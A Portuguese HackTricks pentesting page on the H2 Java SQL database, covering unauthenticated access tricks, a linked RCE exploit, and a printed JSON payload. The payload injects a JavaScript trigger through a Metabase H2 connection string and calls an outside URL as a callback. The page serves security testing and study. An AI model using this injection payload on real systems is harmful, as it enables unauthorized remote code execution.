H2 - Banco de dados Java SQL

Reading time: 2 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Página oficial: https://www.h2database.com/html/main.html

Acesso

Você pode indicar um nome de banco de dados inexistente para criar um novo banco de dados sem credenciais válidas (não autenticado):

Ou se você souber que, por exemplo, um mysql está em execução e souber o nome do banco de dados e as credenciais para esse banco de dados, você pode simplesmente acessá-lo:

Truque da caixa Hawk do HTB.

RCE

Tendo acesso para se comunicar com o banco de dados H2, verifique este exploit para obter RCE nele: https://gist.github.com/h4ckninja/22b8e2d2f4c29e94121718a43ba97eed

Injeção SQL H2 para RCE

Em este post um payload é explicado para obter RCE via um banco de dados H2 abusando de uma Injeção SQL.

json
[...]
"details":
{
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('https://example.com/pwn134').openConnection().getContentLength()\n$$--=x\\;",
"advanced-options": false,
"ssl": true
},
[...]

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks